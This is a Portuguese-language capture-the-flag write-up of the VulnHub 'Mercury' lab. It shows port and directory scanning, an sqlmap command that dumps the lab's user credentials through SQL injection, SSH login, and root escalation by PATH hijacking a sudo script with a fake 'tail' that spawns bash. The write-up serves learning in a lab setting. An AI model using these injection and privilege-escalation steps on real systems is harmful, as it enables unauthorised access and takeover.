1

Capture The Flag - Exploração do laboratório Mercury

Laboratório Mercury

Mercury is an easier box, with no bruteforcing required. There are two flags on the box: a user and root flag which include an md5 hash.

O laboratório pode ser configurado usando VirtualBox. A imagem para download está disponível no repositório da VulnHub.

Para a exploração, considere uma máquina Kali Linux.
Se necessário, veja Kali Linux no Docker.

Reconhecimento

Com netdiscover -r 192.168.0.0/24 consegui identificar o IP da máquina na minha rede: 192.168.0.14.


Identificar as portas expostas com nmap

┌──(root㉿omarchy)-[/]
└─#nmap -sV 192.168.0.14
Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-29 16:44 +0000 Nmap scan 

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 
8080/tcp open http WSGIServer 0.2 (Python 3.8.2)
MAC Address: 08:00:27:86:70:54 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

O resultado mostrou uma aplicação web rodando na porta 8080 e, também, a porta para SSH (22) aberta.


Exploração da aplicação web

Visitar http://192.168.0.14:8080/ resulta em um texto HTML simples.

Hello. This site is currently in development please check back later

Os cabeçalhos de resposta não trouxeram informações novas

HTTP/1.1 200 OK
Date: Sat, 29 Aug 2026 16:52:05 GMT
Server: WSGIServer/0.2 CPython/3.8.2
Content-Type: text/html; charset=utf-8
X-Frame-Options: DENY
Content-Length: 69
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin

A enumeração de diretórios com dirb não resultou em nada além do arquivo /robots.txt, que infelizmente não pôde me ajudar muito.

┌──(root㉿omarchy)-[/]
└─# dirb http://192.168.0.14:8080/

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sat Aug 29 22:22:55 2026
URL_BASE: http://192.168.0.14:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.0.14:8080/ ----
+ http://192.168.0.14:8080/robots.txt (CODE:200|SIZE:26)

-----------------
END_TIME: Sat Aug 29 22:23:04 2026
DOWNLOADED: 4612 - FOUND: 1

Conteúdo de http://192.168.0.14:8080/robots.txt

User-agent: * 
Disallow: /

Ainda tentando encontrar algo útil na aplicação web, testei colocar o caractere '*' na url e, surpreendentemente, a página de 404 retornou algumas rotas que eu poderia acessar.

Nota: A página exibiu as rotas porque a aplicação foi desenvolvida em Django e está rodando com o modo de depuração ativado (DEBUG = True).

Print da aplicação web informando que a página não foi encontrada

[name='index']

robots.txt [name='robots']

mercuryfacts/


Identificação e exploração de SQL Injection

Depois de explorar http://192.168.0.14:8080/mercuryfacts/1/ e tentar trocar "1" por "*", ficou evidente que havia a vulnerabilidade.

Print da aplicação web evidenciando um erro de consulta SQL

Gastei um tempo tentando explorar a vulnerabilidade manualmente, e também realizando fuzzing no Burp Suite, porém não obtive nenhum retorno relevante.

Partindo pra uma abordagem mais agressiva, o sqlmap conseguiu extrair dados cruciais para que eu pudesse avançar no CTF.

sqlmap -u http://192.168.0.14:8080/mercuryfacts/ -D mercury --dump-all --batch

Database: mercury
Table: users
[4 entries]
+----+-------------------------------+-----------+ 
| id | password                      | username  |
+----+-------------------------------+-----------+ 
| 1 | johnny1987                     | john      |
| 2 | lovemykids111                  | laura     | 
| 3 | lovemybeer111                  | sam       | 
| 4 | mercuryisthesizeof0.056Earths  | webmaster |
 +----+-------------------------------+-----------+

Com as credenciais em mãos, foi só utilizar para acessar a máquina via SSH e então obter a flag de usuário:

webmaster@mercury:~$ ls
mercury_proj  user_flag.txt 
webmaster@mercury:~$ cat user_flag.txt [user_flag_8339915c9a454657bd60ee58776f4ccd]

Elevação de privilégio

De cara tentei a abordagem com find que usei no laboratório DC-1, mas sem sucesso, pois não estava como SUID.

Retomando a exploração, explorei todos os arquivos no diretório do usuário webmaster e, além das credenciais do banco de dados que a essa altura já não eram mais úteis, encontrei credenciais de outro usuário Linux: linuxmaster.

webmaster@mercury:~$ cd mercury_proj/
webmaster@mercury:~/mercury_proj$ ls 
db.sqlite3  manage.py  mercury_facts  mercury_index  mercury_proj  notes.txt webmaster@mercury:~/mercury_proj$ cat notes.txt 
Project accounts (both restricted):
webmaster for web stuff - webmaster:bWVyY3VyeWlzdGhlc2l6ZW9mMC4wNTZFYXJ0aHMK 
linuxmaster for linux stuff - linuxmaster:bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==

A senha parecia apenas texto em base64, então testei fazer o decode da senha do webmaster, e quando bateu com o que eu já conhecia, apenas repeti o processo para o novo usuário que obtive.

┌──(root㉿omarchy)-[/]
└─# echo "bWVyY3VyeWlzdGhlc2l6ZW9mMC4wNTZFYXJ0aHMK" | base64 -d
mercuryisthesizeof0.056Earths

┌──(root㉿omarchy)-[/]
└─# echo "bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==" | base64 -d
mercurymeandiameteris4880km

Com as credenciais, fiz o acesso à máquina via SSH como linuxmaster. O usuário não tinha nada em seu diretório, então tentei listar quais privilégios de root ele poderia ter.

linuxmaster@mercury:/$ sudo -l [sudo] 
password for linuxmaster:

Matching Defaults entries for linuxmaster on mercury: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin 

User linuxmaster may run the following commands on mercury: (root : root) SETENV: /usr/bin/check_syslog.sh

O cenário que se apresentou então foi o seguinte: O usuário linuxmaster pode executar um script como root, e, além disso, tem a permissão explícita de sobrescrever variáveis de ambiente (SETENV).

Inspecionei o script mencionado e é bem simples, uma chamada para o binário tail. No entanto, vale a observação de que não é especificado no script o caminho absoluto para o binário, que seria /usr/bin/tail. Dessa forma, quando o script for executado, a variável de ambiente $PATH será consultada para encontrar o binário tail.

linuxmaster@mercury:/$ cat /usr/bin/check_syslog.sh 
#!/bin/bash
tail -n 10 /var/log/syslog

Para, enfim, elevar o privilégio, optei pela abordagem mais simples que pude encontrar dado o contexto: PATH Hijacking (ou PATH Poisoning), que consistiu em criar um binário falso com o nome de tail que apenas executa /bin/bash, e alterar o PATH para que esse binário falso seja executado no lugar do original.

Uma vez tendo um bash com permissões de root, foi possível extrair a última flag.

linuxmaster@mercury:~$ echo '/bin/bash' > /tmp/tail
linuxmaster@mercury:~$ chmod +x /tmp/tail
linuxmaster@mercury:~$ sudo PATH=/tmp:$PATH /usr/bin/check_syslog.sh
[sudo] password for linuxmaster:
root@mercury:/home/linuxmaster#
root@mercury:/home/linuxmaster# cd /root/
root@mercury:~# ls
root_flag.txt
root@mercury:~# cat root_flag.txt
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@/##////////@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@(((/(*(/((((((////////&@@@@@@@@@@@@@
@@@@@@@@@@@((#(#(###((##//(((/(/(((*((//@@@@@@@@@@
@@@@@@@@/#(((#((((((/(/,*/(((///////(/*/*/#@@@@@@@
@@@@@@*((####((///*//(///*(/*//((/(((//**/((&@@@@@
@@@@@/(/(((##/*((//(#(////(((((/(///(((((///(*@@@@
@@@@/(//((((#(((((*///*/(/(/(((/((////(/*/*(///@@@
@@@//**/(/(#(#(##((/(((((/(**//////////((//((*/#@@
@@@(//(/((((((#((((#*/((///((///((//////(/(/(*(/@@
@@@((//((((/((((#(/(/((/(/(((((#((((((/(/((/////@@
@@@(((/(((/##((#((/*///((/((/((##((/(/(/((((((/*@@
@@@(((/(##/#(((##((/((((((/(##(/##(#((/((((#((*%@@
@@@@(///(#(((((#(#(((((#(//((#((###((/(((((/(//@@@
@@@@@(/*/(##(/(###(((#((((/((####/((((///((((/@@@@
@@@@@@%//((((#############((((/((/(/(*/(((((@@@@@@
@@@@@@@@%#(((############(##((#((*//(/(*//@@@@@@@@
@@@@@@@@@@@/(#(####(###/((((((#(///((//(@@@@@@@@@@
@@@@@@@@@@@@@@@(((###((#(#(((/((///*@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@%#(#%@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

Congratulations on completing Mercury!!!
If you have any feedback please contact me at SirFlash@protonmail.com
[root_flag_69426d9fda579afbffd9c2d47ca31d90]

Conclusão

Mercury foi um excelente segundo CTF para mim. Ele me possibilitou consolidar aprendizados que obtive na exploração anterior e agregou ainda mais abordagens e ferramentas que levarei para os próximos laboratórios.

Carregando publicação patrocinada...